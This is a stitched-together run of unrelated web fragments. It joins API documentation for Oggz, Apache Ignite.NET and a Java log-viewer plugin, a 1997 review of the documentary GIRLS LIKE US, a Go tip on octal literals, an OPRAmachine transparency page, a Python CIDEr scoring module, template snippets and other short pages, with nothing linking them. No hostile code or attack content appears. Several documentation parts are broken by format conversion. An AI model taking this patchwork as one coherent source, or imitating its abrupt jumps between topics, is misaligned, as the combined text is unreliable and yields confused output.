Set a function for Oggz to call when it needs to write output data.
- Parameters:
-
| oggz | An OGGZ handle |
| write | Your writing function |
| user_handle | Any arbitrary data you wish to pass to the function |
- Return values:
-
| 0 | Success |
| OGGZ_ERR_BAD_OGGZ | oggz does not refer to an existing OGGZ |
| OGGZ_ERR_INVALID | Operation not suitable for this OGGZ; oggz not open for writing. |
| OGGZ_ERR_OUT_OF_MEMORY | Out of memory |


GIRLS LIKE US A film review by James Berardinelli Copyright 1997 James Berardinelli
RATING (0 TO 10): 7.5 Alternative Scale: *** out of ****
United States, 1997 U.S. Release Date: undetermined Running Length: 1:00 MPAA Classification: No MPAA Rating (mature themes) Theatrical Aspect Ratio: 1.33:1
Featuring: Lisa Bronca, Anna Chau, Raelene Cox, De'Yona Moore Directors: Jane C. Wagner and Tina DiFeliciantonio Producers: Jane C. Wagner and Tina DiFeliciantonio Cinematography: Tina DiFeliciantonio U.S. Distributor: Undetermined
The winner of the grand jury prize for documentary at the 1997 Sundance Film Festival, GIRLS LIKE US takes a look at four years in the lives of four girls growing up in South Philadelphia, not far (but far enough) from the shadow of Independence Hall and the Liberty Bell. There's nothing extraordinary about any of these girls -- their teenage experiments and experiences with sex, education, and life in general are representative of those of nearly every inner city female struggling to assert herself. What co-directors Jane C. Wagner and Tina DiFeliciantonio have done is paint a quartet of portraits that, while far from complete, offer insight into who these girls are and why they react as they do. And, as GIRLS LIKE US shows, it's surprising how well you can get to know four people in only one hour.
Lisa Bronca is an Italian American who lives with her mother. She's 15 years old when the film begins, and hasn't missed a day of school in three years. Her instruction at the Catholic high school she attends defines her knowledge about sex, and, although she's interested in boys, she thinks that she might remain a virgin until she gets married. By the end of the film, when she's 18 and headed for college, her views about a great many things have changed.
Anna Chau is a 14-year old, first-generation Vietnamese American. She's shy and withdrawn, and often allows her friends to talk for her. Her parents don't allow her to date, although that hasn't prevented her from covert exploration. She's a good student (wants to be pre-med) who has trouble balancing her parents' expectations with her own desires. Her life is contrasted with that of her best friend, Chentevy, who is more outspoken and becomes the victim of child abuse.
15-year old Raelene Cox, of European/American Indian descent, is the saddest of the girls. The mother of an infant (Raelene became pregnant at 14), she must raise the child on her own because her parents' drug dependencies make them unreliable. She no longer attends school and goes through boyfriends at an alarming rate. The father of her daughter is no longer in the picture -- she dumped him because he beat her.
De'Yona Moore, a 14-year old African American, lives with her grandmother and has aspirations of becoming a singer. De'Yona is a strong student at Philadelphia's High School for Performing Arts and sings in her church choir. Her family is tight-knit, with cousins and siblings living together under one roof. The matriarch of the house, De'Yona's grandmother, is an independent-minded woman who doles out practical (if often hard-hitting) advice.
Rather than attempting to chronicle everything that happens to the girls over the four-year period, GIRLS LIKE US presents a number of candid snapshots, visiting each subject once or twice per year and asking questions designed to "catch up" on how their lives are progressing. The directors obviously formed good rapports; the girls are willing to tell things to the cameras that even their parents don't know.
There's a universal quality to the struggles of these teens and, unsurprisingly, sex is a major subject. After all, the years from ages 14 to 18 are when most girls develop a sexual identity. Lisa, Anna, Raelene, and De'Yona are no different, although their views about sex vary considerably. Lisa is curious, Anna is ambivalent, Raelene uses it as a tool, and De'Yona has had the importance of birth control drilled into her head by her grandmother.  There are economic and educational subtexts, as well as an exploration of how girls are treated differently from boys (this varies from culture-to-culture). Perhaps because of the ethnic diversity of the subjects, race rarely comes into play.
GIRLS LIKE US is a little like a Cliffnotes version of a female HOOP DREAMS. There's not nearly as much detail here, but many of the themes are similar. The girls' aspirations are much less grandiose than reaching the NBA, but, like the protagonists of the 1995 documentary, they must deal with the hardship of failure. During the course of GIRLS LIKE US, there are two pregnancies, a miscarriage, the death of a family member, a disappearance, and a wedding. From a dramatic perspective, these events make for compelling viewing, but the best thing about GIRLS LIKE US are the subjects, and the rare opportunity we're afforded to watch them grow from children into adults.
A NOTE ABOUT WHERE TO SEE THIS FILM: GIRLS LIKE US may receive United States theatrical distribution later in 1997 (according to PHILADELPHIA INQUIRER film critic Carrie Rickey, it's "on the brink of getting a distributor"). Regardless, the movie is scheduled to be shown on PBS some time during the summer of 1997. At this point, I'm not aware of plans for an overseas release.
- James Berardinelli e-mail<EMAIL_ADDRESS>ReelViews web site: http://www.cybernex.net/~berardin
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Updating, Emphasizing, and Shifting Text
This is an example of
deleted
inserted
text.
This is an example of
Strong
Text.
This is an example of
Subcript
text.
This is an example of
Superscript
text.


Select this checkbox, to have IntelliJ IDEA reformat generated stub files according to the style defined on the Code Style page.
This option is only available in the Files tab.


The prefix for octal integer literals is 0. Yes, it is kind of anachronic. Yes, it is error-prone and could lead to subtle bugs.
Fortunately, the strconv.ParseInt function requires an explicit
base
argument, so your input data will be safe even with unnecessary leading zeroes. Don't write
ParseInt(data, 0, 0)
out of laziness, you would get bitten!
Unfortunately, the fmt.Scan function reads in octal in presence of a leading zero. Prefer fmt.Scanf.


|
Apache Ignite.NET
|
Main entry point for all Ignite APIs. You can obtain an instance of IGrid
through Ignition.GetIgnite(), or for named grids you can use Ignition.GetIgnite(string). Note that you can have multiple instances of IGrid
running in the same process by giving each instance a different name. All members are thread-safe and may be used concurrently from multiple threads.
More...
Public Member Functions | |
| ICluster | GetCluster () |
| Gets an instance of ICluster interface. More... | |
| ICompute | GetCompute () |
| Gets compute functionality over this grid projection. All operations on the returned ICompute instance will only include nodes from this projection. More... | |
| ICache< TK, TV > | GetCache< TK, TV > (string name) |
| Gets the cache instance for the given name to work with keys and values of specified types. You can get instances of ICache of the same name, but with different key/value types. These will use the same named cache, but only allow working with entries of specified types. Attempt to retrieve an entry of incompatible type will result in InvalidCastException. Use GetCache<TK,TV> in order to work with entries of arbitrary types. More... | |
| ICache< TK, TV > | GetOrCreateCache< TK, TV > (string name) |
| Gets existing cache with the given name or creates new one using template configuration. More... | |
| ICache< TK, TV > | GetOrCreateCache< TK, TV > (CacheConfiguration configuration) |
| Gets existing cache with the given name or creates new one using provided configuration. More... | |
| ICache< TK, TV > | GetOrCreateCache< TK, TV > (CacheConfiguration configuration, NearCacheConfiguration nearConfiguration) |
| Gets existing cache with the given name or creates new one using provided configuration. More... | |
| ICache< TK, TV > | CreateCache< TK, TV > (string name) |
| Dynamically starts new cache using template configuration. More... | |
| ICache< TK, TV > | CreateCache< TK, TV > (CacheConfiguration configuration) |
| Dynamically starts new cache using provided configuration. More... | |
| ICache< TK, TV > | CreateCache< TK, TV > (CacheConfiguration configuration, NearCacheConfiguration nearConfiguration) |
| Dynamically starts new cache using provided configuration. More... | |
| void | DestroyCache (string name) |
| Destroys dynamically created (with CreateCache<TK,TV>(string) or GetOrCreateCache<TK,TV>(string)) cache. More... | |
| IDataStreamer< TK, TV > | GetDataStreamer< TK, TV > (string cacheName) |
| Gets a new instance of data streamer associated with given cache name. Data streamer is responsible for loading external data into Ignite. For more information refer to IDataStreamer<K,V> documentation. More... | |
| IBinary | GetBinary () |
| Gets an instance of IBinary interface. More... | |
| ICacheAffinity | GetAffinity (string name) |
| Gets affinity service to provide information about data partitioning and distribution. More... | |
| ITransactions | GetTransactions () |
| Gets Ignite transactions facade. More... | |
| IMessaging | GetMessaging () |
| Gets messaging facade over all cluster nodes. More... | |
| IEvents | GetEvents () |
| Gets events facade over all cluster nodes. More... | |
| IServices | GetServices () |
| Gets services facade over all cluster nodes. More... | |
| IAtomicLong | GetAtomicLong (string name, long initialValue, bool create) |
Gets an atomic long with specified name from cache. Creates new atomic long in cache if it does not exist and create is true. More... | |
| IAtomicSequence | GetAtomicSequence (string name, long initialValue, bool create) |
| Gets an atomic sequence with specified name from cache. Creates new atomic sequence in cache if it does not exist and create is true. More... | |
| IAtomicReference< T > | GetAtomicReference< T > (string name, T initialValue, bool create) |
| Gets an atomic reference with specified name from cache. Creates new atomic reference in cache if it does not exist and create is true. More... | |
| IgniteConfiguration | GetConfiguration () |
| Gets the configuration of this Ignite instance. More... | |
| ICache< TK, TV > | CreateNearCache< TK, TV > (string name, NearCacheConfiguration configuration) |
| Starts a near cache on local client node if cache with specified was previously started. This method does not work on server nodes. More... | |
| ICache< TK, TV > | GetOrCreateNearCache< TK, TV > (string name, NearCacheConfiguration configuration) |
| Gets existing near cache with the given name or creates a new one. More... | |
| ICollection< string > | GetCacheNames () |
| Gets the collection of names of currently available caches, or empty collection if there are no caches. Note that null string is a valid cache name. More... | |
| T | GetPlugin< T > (string name) |
| Gets the plugin by name. More... | |
| void | ResetLostPartitions (IEnumerable< string > cacheNames) |
| Clears partitions' lost state and moves caches to a normal mode. More... | |
| void | ResetLostPartitions (params string[] cacheNames) |
| Clears partitions' lost state and moves caches to a normal mode. More... | |
| ICollection< IMemoryMetrics > | GetMemoryMetrics () |
| Gets a collection of memory metrics, one for each MemoryConfiguration.MemoryPolicies. More... | |
| IMemoryMetrics | GetMemoryMetrics (string memoryPolicyName) |
| Gets the memory metrics for the specified memory policy. More... | |
| void | SetActive (bool isActive) |
| Changes Ignite grid state to active or inactive. More... | |
| bool | IsActive () |
| Determines whether this grid is in active state. More... | |
| IPersistentStoreMetrics | GetPersistentStoreMetrics () |
| Gets the persistent store metrics. More... | |
Properties | |
| string | Name [get] |
Gets the name of the grid this Ignite instance (and correspondingly its local node) belongs to. Note that single process can have multiple Ignite instances all belonging to different grids. Grid name allows to indicate to what grid this particular Ignite instance (i.e. Ignite runtime and its local node) belongs to. If default Ignite instance is used, then null is returned. Refer to Ignition documentation for information on how to start named grids. More... | |
| ILogger | Logger [get] |
| Gets the logger. More... | |
Events | |
| EventHandler | Stopping |
| Occurs when node begins to stop. Node is fully functional at this point. See also: LifecycleEventType.BeforeNodeStop. More... | |
| EventHandler | Stopped |
| Occurs when node has stopped. Node can't be used at this point. See also: LifecycleEventType.AfterNodeStop. More... | |
| EventHandler | ClientDisconnected |
| Occurs when client node disconnects from the cluster. This event can only occur when this instance runs in client mode (IgniteConfiguration.ClientMode). More... | |
| EventHandler< ClientReconnectEventArgs > | ClientReconnected |
| Occurs when client node reconnects to the cluster. This event can only occur when this instance runs in client mode (IgniteConfiguration.ClientMode). More... | |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.CreateCache< TK, TV > | ( | string | name | ) |
| TK | Cache key type. |
| TV | Cache value type. |
| name | Cache name. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.CreateCache< TK, TV > | ( | CacheConfiguration | configuration | ) |
| TK | Cache key type. |
| TV | Cache value type. |
| configuration | Cache configuration. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.CreateCache< TK, TV > | ( | CacheConfiguration | configuration, |
| NearCacheConfiguration | nearConfiguration | ||
| ) |
| TK | Cache key type. |
| TV | Cache value type. |
| configuration | Cache configuration. |
| nearConfiguration | Near cache configuration for client. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.CreateNearCache< TK, TV > | ( | string | name, |
| NearCacheConfiguration | configuration | ||
| ) |
| name | The name. |
| configuration | The configuration. |
| TK | Cache key type. |
| TV | Cache value type. |
| void Apache.Ignite.Core.IIgnite.DestroyCache | ( | string | name | ) |
| name | The name of the cache to stop. |
| ICacheAffinity Apache.Ignite.Core.IIgnite.GetAffinity | ( | string | name | ) |
| name | Cache name. |
| IAtomicLong Apache.Ignite.Core.IIgnite.GetAtomicLong | ( | string | name, |
| long | initialValue, | ||
| bool | create | ||
| ) |
| name | Name of the atomic long. |
| initialValue | Initial value for the atomic long. Ignored if create is false. |
| create | Flag indicating whether atomic long should be created if it does not exist. |
create
flag is not set.| IgniteException | If atomic long could not be fetched or created. |
| IAtomicReference<T> Apache.Ignite.Core.IIgnite.GetAtomicReference< T > | ( | string | name, |
| T | initialValue, | ||
| bool | create | ||
| ) |
| name | Name of the atomic reference. |
| initialValue | Initial value for the atomic reference. Ignored if create is false. |
| create | Flag indicating whether atomic reference should be created if it does not exist. |
| IgniteException | If atomic reference could not be fetched or created. |
| IAtomicSequence Apache.Ignite.Core.IIgnite.GetAtomicSequence | ( | string | name, |
| long | initialValue, | ||
| bool | create | ||
| ) |
| name | Name of the atomic sequence. |
| initialValue | Initial value for the atomic sequence. Ignored if create is false. |
| create | Flag indicating whether atomic sequence should be created if it does not exist. |
| IgniteException | If atomic sequence could not be fetched or created. |
| IBinary Apache.Ignite.Core.IIgnite.GetBinary | ( | ) |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.GetCache< TK, TV > | ( | string | name | ) |
| name | Cache name. |
| TK | Cache key type. |
| TV | Cache value type. |
| ICollection<string> Apache.Ignite.Core.IIgnite.GetCacheNames | ( | ) |
| ICluster Apache.Ignite.Core.IIgnite.GetCluster | ( | ) |
| ICompute Apache.Ignite.Core.IIgnite.GetCompute | ( | ) |
| IgniteConfiguration Apache.Ignite.Core.IIgnite.GetConfiguration | ( | ) |
| IDataStreamer<TK, TV> Apache.Ignite.Core.IIgnite.GetDataStreamer< TK, TV > | ( | string | cacheName | ) |
| cacheName | Cache name (null for default cache). |
| IEvents Apache.Ignite.Core.IIgnite.GetEvents | ( | ) |
| ICollection<IMemoryMetrics> Apache.Ignite.Core.IIgnite.GetMemoryMetrics | ( | ) |
Memory metrics should be enabled with MemoryPolicyConfiguration.MetricsEnabled.
| IMemoryMetrics Apache.Ignite.Core.IIgnite.GetMemoryMetrics | ( | string | memoryPolicyName | ) |
To get metrics for the default memory region, use MemoryConfiguration.DefaultMemoryPolicyName.
| memoryPolicyName | Name of the memory policy. |
| IMessaging Apache.Ignite.Core.IIgnite.GetMessaging | ( | ) |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.GetOrCreateCache< TK, TV > | ( | string | name | ) |
| TK | Cache key type. |
| TV | Cache value type. |
| name | Cache name. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.GetOrCreateCache< TK, TV > | ( | CacheConfiguration | configuration | ) |
| TK | Cache key type. |
| TV | Cache value type. |
| configuration | Cache configuration. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.GetOrCreateCache< TK, TV > | ( | CacheConfiguration | configuration, |
| NearCacheConfiguration | nearConfiguration | ||
| ) |
| TK | Cache key type. |
| TV | Cache value type. |
| configuration | Cache configuration. |
///
| nearConfiguration | Near cache configuration for client. |
| ICache<TK, TV> Apache.Ignite.Core.IIgnite.GetOrCreateNearCache< TK, TV > | ( | string | name, |
| NearCacheConfiguration | configuration | ||
| ) |
| name | The name. |
| configuration | The configuration. |
| TK | Cache key type. |
| TV | Cache value type. |
| IPersistentStoreMetrics Apache.Ignite.Core.IIgnite.GetPersistentStoreMetrics | ( | ) |
To enable metrics set PersistentStoreConfiguration.MetricsEnabled property in IgniteConfiguration.PersistentStoreConfiguration.
| T Apache.Ignite.Core.IIgnite.GetPlugin< T > | ( | string | name | ) |
| T | Plugin type |
| name | Plugin name. |
| PluginNotFoundException | When plugin with specified name has not been found. |
| T | : | class |
| IServices Apache.Ignite.Core.IIgnite.GetServices | ( | ) |
| ITransactions Apache.Ignite.Core.IIgnite.GetTransactions | ( | ) |
| bool Apache.Ignite.Core.IIgnite.IsActive | ( | ) |
true
if the grid is active; otherwise, false
. | void Apache.Ignite.Core.IIgnite.ResetLostPartitions | ( | IEnumerable< string > | cacheNames | ) |
| cacheNames | Names of caches to reset partitions for. |
| void Apache.Ignite.Core.IIgnite.ResetLostPartitions | ( | params string[] | cacheNames | ) |
| cacheNames | Names of caches to reset partitions for. |
| void Apache.Ignite.Core.IIgnite.SetActive | ( | bool | isActive | ) |
|
get |
See IgniteConfiguration.Logger for customization.
|
get |
null
for default grid.| EventHandler Apache.Ignite.Core.IIgnite.ClientDisconnected |
| EventHandler<ClientReconnectEventArgs> Apache.Ignite.Core.IIgnite.ClientReconnected |
| EventHandler Apache.Ignite.Core.IIgnite.Stopped |
| EventHandler Apache.Ignite.Core.IIgnite.Stopping |


| Room | Rate | From | To | Subtotal |
|---|---|---|---|---|
|
|
|
|
|
{{ getSubtotal(room) | currency}} |
| Total | {{ getTotal(reservation.rooms) | currency }} | |||
| Tax ({{ tax * 100 }} %) | {{ total * tax | currency }} | |||
| Grand Total | {{ grandTotal | currency }} |


Spellhold Games Pricing Tool
Quickly search for Magic: the Gathering card information and pricing
Please enter a complete card name.


Opening up New Jersey government
OPRAmachine.com is a first of its kind government transparency project that I recently launched to serve the citizens of the state of New Jersey. The site is powered by the New Jersey Open Public Records Act (OPRA), a freedom of information law that allows any citizen of the state to request public records from state and local government agencies.
How it works
OPRAmachine is breaking down barriers by explaining aspects of the OPRA request process. The site allows any citizen to easily file a legally valid public records request and includes a directory that currently includes all 565 municipalities in the state, as well as various state and county governmental agencies. The site has enabled requesters to obtain thousands of pages worth of public records, helping to shine a light on some of the more obscure elements of New Jersey state and local government.
A unique benefit that OPRAmachine provides is that once a public entity provides documents in response to a request, the documents are subsequently stored in the site’s database and made public, allowing the entire public to be able to reap the benefits. This model reduces duplicate requests and serves to further the OPRA law’s purpose of maximizing the citizenry’s knowledge of public affairs.
Thousands of pages released
Since its inception in October, 2017, the OPRAmachine platform has enabled the release of thousands of pages of government documents. Our database of public bodoies currently includes all 565 municipalities in New Jersey, with more public bodies being added on a regular basis. The site has been making an impact and has been used as a research tool by public officials, journalists and activists seeking to obtain authoritative information about public entities in the state. We recently added a documentation that includes detailed information about the process of making a request through the site, as well as reference material concerning the legal and site administration issues that may arise as a result of the site’s operation.
Praise for OPRAmachine
“One of the most important tools making New Jersey government more transparent.” - Citizens Media TV
“Thanks to Gavin Rozzi’s “OPRA Machine” website, the Atlantic County Government can no longer pretend to be transparent. Now they must do it for real.” - Atlantic County News
“The latest installation of our Alaveteli software, OPRAmachine, is an interesting new use of the platform. Rather than covering a whole country, as most of the other Alaveteli installations around the world do, it services just a single US state.” - Gemma Moulder, of the UK-based mySociety, which created the open-source software that powers the OPRAmachine platform.
OPRAmachine’s impact in New Jersey
Following four months of work, I reflected on some of the accomplishments of the web service in this blog post.
By the numbers
Since October, 2017, OPRAmachine has seen:- 3090 public records requests
- 2215 followup messages sent
- 424 registered users
- 938 public bodies
- 115 annotations added to requests
- 259 tracked requests
Latest OPRA requests
Powered by the OPRAmachine API
- Audio of Library Board Meeting
Requested from: Alpha Borough
Requested by: Lisa
Status: Successful.
Ms. LaCaruba: We have had this OPRA request waiting here for your pick up since 10/15/18. We communicated this to you on 10/15/18. The cost for this i...
- Cell phone bill for Mayor Dunwell ( additional dates)
Requested from: Alpha Borough
Requested by: Lisa
Status: Successful.
Ms. LaCaruba: I have attached the records responsive to the OPRA request below. As stated in a prior response to you, I have only included records from...
- Taxi License Holders
Requested from: Toms River Township
Requested by: Anonymous
Status: Successful.
OPRA request info attached. Only redactions are owners' home addresses, per our Law Dept. Thank you, Alison L. Carlisle, RMC, CMR Township Clerk To...
Chart of requests
Links
Main OPRAmachine website.
Read updates about the project at our blog here.


April Greiman
Home
BIOGRAPHY
GALLERY
SOURCES
PRESENTATION
GALLERY
“Hand Holding a Bowl of Rice”. 8,200 Sq Ft. Video Wall - Wilshire Vermont Station. Los Angeles, CA, 2007


FloatingMeasure
class API for phyiscal calculations
Class Hierarchy
Go to the textual class hierarchy
Generated by
1.8.13


{% load static %}
Text Classification of Imported Tweets
Home
Cyberbullying Detection
Cyberbullying Detection
Categorises tweet under Bullying or Not Bullying
{% csrf_token %}
Clear the search form
Enter the twitter handle or hashtag to import tweets from
Search


Before Change
adata = sc.read(filename, sheet="dCt_values.txt", backup_url=url)
// filter out genes: the 4th column (Eif2b1), the 31nd (Mrpl19), the 36th
// (Polr2a) and the 45th (last,UBC), as done by Haghverdi et al. (2016)
genes = np.array([g not in [4, 31, 36, 45] for g in range(adata.X.shape[1])])
adata = adata[:, genes] // filter adata
// choose root cell as in Haghverdi et al. (2016)
adata["iroot"] = iroot = 532 // note that in Matlab/R, counting starts at 1
After Change
url = "http://www.nature.com/nbt/journal/v33/n3/extref/nbt.3154-S3.xlsx"
adata = sc.read(filename, sheet="dCt_values.txt", backup_url=url)
// filter out genes as done by Haghverdi et al. (2016)
removed_genes = np.in1d(adata.var_names, ["Eif2b1", "Mrpl19", "Polr2a", "Ubc"])
adata = adata[:, ~removed_genes] // retain non-removed genes
// choose root cell as in Haghverdi et al. (2016)
adata["iroot"] = iroot = 532 // note that in Matlab/R, counting starts at 1
adata["xroot"] = adata.X[iroot]


#!/usr/bin/env python
# Tsung-Yi Lin<EMAIL_ADDRESS># Ramakrishna Vedantam<EMAIL_ADDRESS>from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import copy
from collections import defaultdict
import numpy as np
import math
import pickle
from xmodaler.config import configurable
from .build import SCORER_REGISTRY
__all__ = ['Cider']
def precook(words, n=4, out=False):
"""
Takes a string as input and returns an object that can be given to
either cook_refs or cook_test. This is optional: cook_refs and cook_test
can take string arguments as well.
:param s: string : sentence to be converted into ngrams
:param n: int : number of ngrams for which representation is calculated
:return: term frequency vector for occuring ngrams
"""
#words = s.split()
counts = defaultdict(int)
for k in range(1,n+1):
for i in range(len(words)-k+1):
ngram = tuple(words[i:i+k])
counts[ngram] += 1
return counts
def cook_refs(refs, n=4): ## lhuang: oracle will call with "average"
'''Takes a list of reference sentences for a single segment
and returns an object that encapsulates everything that BLEU
needs to know about them.
:param refs: list of string : reference sentences for some image
:param n: int : number of ngrams for which (ngram) representation is calculated
:return: result (list of dict)
'''
return [precook(ref, n) for ref in refs]
def cook_test(test, n=4):
'''Takes a test sentence and returns an object that
encapsulates everything that BLEU needs to know about it.
:param test: list of string : hypothesis sentence for some image
:param n: int : number of ngrams for which (ngram) representation is calculated
:return: result (dict)
'''
return precook(test, n, True)
class CiderScorer(object):
"""CIDEr scorer.
"""
def copy(self):
''' copy the refs.'''
new = CiderScorer(n=self.n)
new.ctest = copy.copy(self.ctest)
new.crefs = copy.copy(self.crefs)
return new
def __init__(self, test=None, refs=None, n=4, sigma=6.0, cider_cached=''):
''' singular instance '''
self.n = n
self.sigma = sigma
self.crefs = []
self.ctest = []
cider_cache = pickle.load(open(cider_cached, 'rb'), encoding='bytes')
self.document_frequency = cider_cache['document_frequency']
self.ref_len = cider_cache['ref_len']
self.cook_append(test, refs)
def clear(self):
self.crefs = []
self.ctest = []
def cook_append(self, test, refs):
'''called by constructor and __iadd__ to avoid creating new instances.'''
if refs is not None:
self.crefs.append(cook_refs(refs))
if test is not None:
self.ctest.append(cook_test(test)) ## N.B.: -1
else:
self.ctest.append(None) # lens of crefs and ctest have to match
def size(self):
assert len(self.crefs) == len(self.ctest), "refs/test mismatch! %d<>%d" % (len(self.crefs), len(self.ctest))
return len(self.crefs)
def __iadd__(self, other):
'''add an instance (e.g., from another sentence).'''
if type(other) is tuple:
## avoid creating new CiderScorer instances
self.cook_append(other[0], other[1])
else:
self.ctest.extend(other.ctest)
self.crefs.extend(other.crefs)
return self
def compute_doc_freq(self):
'''
Compute term frequency for reference data.
This will be used to compute idf (inverse document frequency later)
The term frequency is stored in the object
:return: None
'''
for refs in self.crefs:
# refs, k ref captions of one image
for ngram in set([ngram for ref in refs for (ngram,count) in ref.items()]):
self.document_frequency[ngram] += 1
# maxcounts[ngram] = max(maxcounts.get(ngram,0), count)
def compute_cider(self):
def counts2vec(cnts):
"""
Function maps counts of ngram to vector of tfidf weights.
The function returns vec, an array of dictionary that store mapping of n-gram and tf-idf weights.
The n-th entry of array denotes length of n-grams.
:param cnts:
:return: vec (array of dict), norm (array of float), length (int)
"""
vec = [defaultdict(float) for _ in range(self.n)]
length = 0
norm = [0.0 for _ in range(self.n)]
for (ngram,term_freq) in cnts.items():
# give word count 1 if it doesn't appear in reference corpus
df = np.log(max(1.0, self.document_frequency[ngram]))
# ngram index
n = len(ngram)-1
# tf (term_freq) * idf (precomputed idf) for n-grams
vec[n][ngram] = float(term_freq)*(self.ref_len - df)
# compute norm for the vector. the norm will be used for computing similarity
norm[n] += pow(vec[n][ngram], 2)
if n == 1:
length += term_freq
norm = [np.sqrt(n) for n in norm]
return vec, norm, length
def sim(vec_hyp, vec_ref, norm_hyp, norm_ref, length_hyp, length_ref):
'''
Compute the cosine similarity of two vectors.
:param vec_hyp: array of dictionary for vector corresponding to hypothesis
:param vec_ref: array of dictionary for vector corresponding to reference
:param norm_hyp: array of float for vector corresponding to hypothesis
:param norm_ref: array of float for vector corresponding to reference
:param length_hyp: int containing length of hypothesis
:param length_ref: int containing length of reference
:return: array of score for each n-grams cosine similarity
'''
delta = float(length_hyp - length_ref)
# measure consine similarity
val = np.array([0.0 for _ in range(self.n)])
for n in range(self.n):
# ngram
for (ngram,count) in vec_hyp[n].items():
# vrama91 : added clipping
val[n] += min(vec_hyp[n][ngram], vec_ref[n][ngram]) * vec_ref[n][ngram]
if (norm_hyp[n] != 0) and (norm_ref[n] != 0):
val[n] /= (norm_hyp[n]*norm_ref[n])
assert(not math.isnan(val[n]))
# vrama91: added a length based gaussian penalty
val[n] *= np.e**(-(delta**2)/(2*self.sigma**2))
return val
# compute log reference length
# self.ref_len = np.log(float(len(self.crefs))) ###########################
scores = []
for test, refs in zip(self.ctest, self.crefs):
# compute vector for test captions
vec, norm, length = counts2vec(test)
# compute vector for ref captions
score = np.array([0.0 for _ in range(self.n)])
for ref in refs:
vec_ref, norm_ref, length_ref = counts2vec(ref)
score += sim(vec, vec_ref, norm, norm_ref, length, length_ref)
# change by vrama91 - mean of ngram scores, instead of sum
score_avg = np.mean(score)
# divide by number of references
score_avg /= len(refs)
# multiply score by 10
score_avg *= 10.0
# append score of an image to the score list
scores.append(score_avg)
return scores
def compute_score(self, option=None, verbose=0):
# compute cider score
score = self.compute_cider()
# debug
# print score
return np.mean(np.array(score)), np.array(score)
[docs]@SCORER_REGISTRY.register()
class Cider:
"""
Main Class to compute the CIDEr metric
"""
[docs] @configurable
#def __init__(self, n=4, sigma=6.0, cider_cached=''):
def __init__(
self,
*,
n: int,
sigma: float,
cider_cached: str
):
# set cider to sum over 1 to 4-grams
self._n = n
# set the standard deviation parameter for gaussian penalty
self._sigma = sigma
self.cider_scorer = CiderScorer(n=self._n, sigma=self._sigma, cider_cached=cider_cached)
[docs] @classmethod
def from_config(cls, cfg):
return {
'n': 4,
'sigma': 6.0,
'cider_cached': cfg.SCORER.CIDER_CACHED
}
[docs] def compute_score(self, gts, res):
"""
Main function to compute CIDEr score
:param hypo_for_image (dict) : dictionary with key <image> and value <tokenized hypothesis / candidate sentence>
ref_for_image (dict) : dictionary with key <image> and value <tokenized reference sentence>
:return: cider (float) : computed CIDEr score for the corpus
"""
# clear all the previous hypos and refs
self.cider_scorer.clear()
for i, hypo in enumerate(res):
ref = gts[i]
# Sanity check.
#assert(type(hypo) is list)
#assert(len(hypo) == 1)
assert(type(ref) is list)
assert(len(ref) > 0)
self.cider_scorer += (hypo, ref)
(score, scores) = self.cider_scorer.compute_score()
return score, scores
[docs] def method(self):
return "CIDEr"


public abstract class Plugin extends java.lang.Thread implements IPluginUI, IPlugin
| Constructor and Description |
|---|
Plugin(java.lang.String pluginName,
java.lang.String logChannelName) |
| Modifier and Type | Method and Description |
|---|---|
boolean |
equals(java.lang.Object obj) |
thobe.logfileviewer.kernel.source.logstream.ILogStream |
getLogstream()
Returns a reference to the currently open
LogStream . |
java.lang.String |
getLSRequesterName()
Returns the name of the requester.
|
java.lang.String |
getPluginName()
This method should return the name of this
IPlugin . |
IPluginWindowManagerAccess |
getPluginWindowManagerAccess()
Retrieve access to the window-management for the
IPlugin s. |
int |
hashCode() |
boolean |
isAttachedToGUI()
Returns true if the
IPluginUI is attached to a gui-component/ container, false otherwise. |
boolean |
isQuitRequested()
Returns true if previously the method
IPlugin.quit() was called. |
boolean |
isVisible()
Returns true if the visual-component of this
IPluginUI is visible, false otherwise. |
void |
onLogStreamAvailable(thobe.logfileviewer.kernel.source.logstream.ILogStreamAccess logStreamAccess)
HIDDEN-Method: This method has not to be implemented by a specific
IPlugin . |
void |
onLogStreamLeavingScope()
HIDDEN-Method: This method has not to be implemented by a specific
IPlugin . |
void |
quit()
Quits the
Plugin by setting the quitRequested variable. |
void |
response(int requestId,
java.util.List<thobe.logfileviewer.kernel.source.logline.ILogLine> logLines,
boolean valid)
Response to a previous request to the
LogStream via LogStream.requestLogLines(long, long, ILogStreamRequester) or
LogStream.requestLogLines(long, long, ILogStreamRequester, java.util.regex.Pattern) . |
void |
setAttachedToGUI(boolean attached)
If the
IPluginUI was attached to a gui-component/ container this method should be called to store the state of attachment. |
void |
setPluginWindowManagerAccess(IPluginWindowManagerAccess pWMA)
Set the manager that grants access to the window-management for the
IPlugin s. |
void |
setVisible(boolean visible)
Set the visibility of this
IPluginUI . |
java.lang.String |
toString() |
activeCount, checkAccess, countStackFrames, currentThread, destroy, dumpStack, enumerate, getAllStackTraces, getContextClassLoader, getDefaultUncaughtExceptionHandler, getId, getName, getPriority, getStackTrace, getState, getThreadGroup, getUncaughtExceptionHandler, holdsLock, interrupt, interrupted, isAlive, isDaemon, isInterrupted, join, join, join, resume, run, setContextClassLoader, setDaemon, setDefaultUncaughtExceptionHandler, setName, setPriority, setUncaughtExceptionHandler, sleep, sleep, start, stop, stop, suspend, yield
getUIComponent
onLogStreamClosed, onLogStreamOpened, onPrepareCloseLogStream, onRegistered, onStarted, onStopped, onUnRegistered
getPluginDescription
public Plugin(java.lang.String pluginName, java.lang.String logChannelName)
public boolean isQuitRequested()
IPlugin
IPlugin.quit()
was called.isQuitRequested
in interface IPlugin
public boolean isVisible()
IPluginUI
IPluginUI
is visible, false otherwise.public void setVisible(boolean visible)
IPluginUI
IPluginUI
